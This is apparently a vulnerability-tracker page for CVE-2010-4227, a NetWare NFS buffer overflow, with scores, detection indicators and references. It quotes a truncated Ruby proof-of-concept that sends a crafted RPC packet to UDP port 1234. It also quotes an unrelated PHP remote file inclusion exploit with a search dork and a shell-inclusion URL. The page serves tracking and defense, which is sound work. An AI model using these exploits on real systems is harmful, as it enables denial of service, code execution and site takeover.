CVE-2010-4227
published 2011-02-25CVE-2010-4227: The xdrDecodeString function in XNFS.NLM in Novell Netware 6.5 before SP8 allows remote attackers to cause a denial of service (abend) or execute arbitrary…
PriorityP264critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
16.82%
96.7th percentile
The xdrDecodeString function in XNFS.NLM in Novell Netware 6.5 before SP8 allows remote attackers to cause a denial of service (abend) or execute arbitrary code via a crafted, signed value in a NFS RPC request to port UDP 1234, leading to a stack-based buffer overflow.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| novell | netware | <= 6.5 | — |
| novell | netware | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect exploit attempts by monitoring for UDP packets to port 1234 containing the RPC MOUNT program identifier (0x000186a5) with a crafted/signed length value in the xdrDecodeString field, targeting Novell NetWare NFS service (XNFS.NLM). ↗
- →The exploit PoC sends a UDP packet to port 1234 with RPC program number 10005 (MOUNT, 0x000186a5), version 2, procedure MNT (1), with a NULL verifier and a 4-byte payload (0x41424344). Alert on UDP/1234 traffic matching this RPC structure. ↗
- →The fixed XID value 0x1cd1efab in the RPC header can serve as a signature byte for this specific PoC exploit payload. ↗
- ·The vulnerability affects Novell NetWare 6.5 only before SP8; systems patched to SP8 or later are not vulnerable. Ensure NFS/XNFS service is not unnecessarily exposed on UDP/1234. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Novell Netware - RPC XNFS xdrDecodeString
exploitdb·2011-02-24
CVE-2010-4227 Novell Netware - RPC XNFS xdrDecodeString
Novell Netware - RPC XNFS xdrDecodeString
---
#!/usr/bin/ruby
# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24
require 'socket'
netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)
beepbeep=
"\x1c\xd1\xef\xab" + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"
if (!(netware_server && target_port))
puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
exit
else
puts "[+]Sendin
Exploit-DB
Free PHP Photo Gallery Script - Remote File Inclusion
exploitdb·2010-07-22
CVE-2010-4948 Free PHP Photo Gallery Script - Remote File Inclusion
Free PHP Photo Gallery Script - Remote File Inclusion
---
# Exploit Title: Free PHP photo gallery script Remote File inclusion
Vulnerability
# Date: 2010/07/21
# Author: ViRuS Qalaa
# Email: [email protected]
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script: http://phpweby.com/downloads/gallery
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: [email protected]
:::::::::::::::::::::::::
Iam ViRuS Qalaa Frome Iraq Hackers
=================Exploit=================
-=[ vuln c0de ]=-
include_once($path);
/jadro/libs/adodb/adodb.inc.php
Line:4227
----exploit----
Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"
http://{localhost}/{path}/jadro/libs/adodb/adodb.inc.php?path=shell.txt?
No writeups or analysis indexed.
http://download.novell.com/Download?buildid=1z3z-OsVCiE~http://secunia.com/advisories/43431http://securityreason.com/securityalert/8104http://www.exploit-db.com/exploits/16234http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24http://www.securityfocus.com/archive/1/516645/100/0/threadedhttp://www.securityfocus.com/bid/46535http://www.securitytracker.com/id?1025119http://www.vupen.com/english/advisories/2011/0497http://www.zerodayinitiative.com/advisories/ZDI-11-090https://exchange.xforce.ibmcloud.com/vulnerabilities/65625http://download.novell.com/Download?buildid=1z3z-OsVCiE~http://secunia.com/advisories/43431http://securityreason.com/securityalert/8104http://www.exploit-db.com/exploits/16234http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24http://www.securityfocus.com/archive/1/516645/100/0/threadedhttp://www.securityfocus.com/bid/46535http://www.securitytracker.com/id?1025119http://www.vupen.com/english/advisories/2011/0497http://www.zerodayinitiative.com/advisories/ZDI-11-090https://exchange.xforce.ibmcloud.com/vulnerabilities/65625
2011-02-25
Published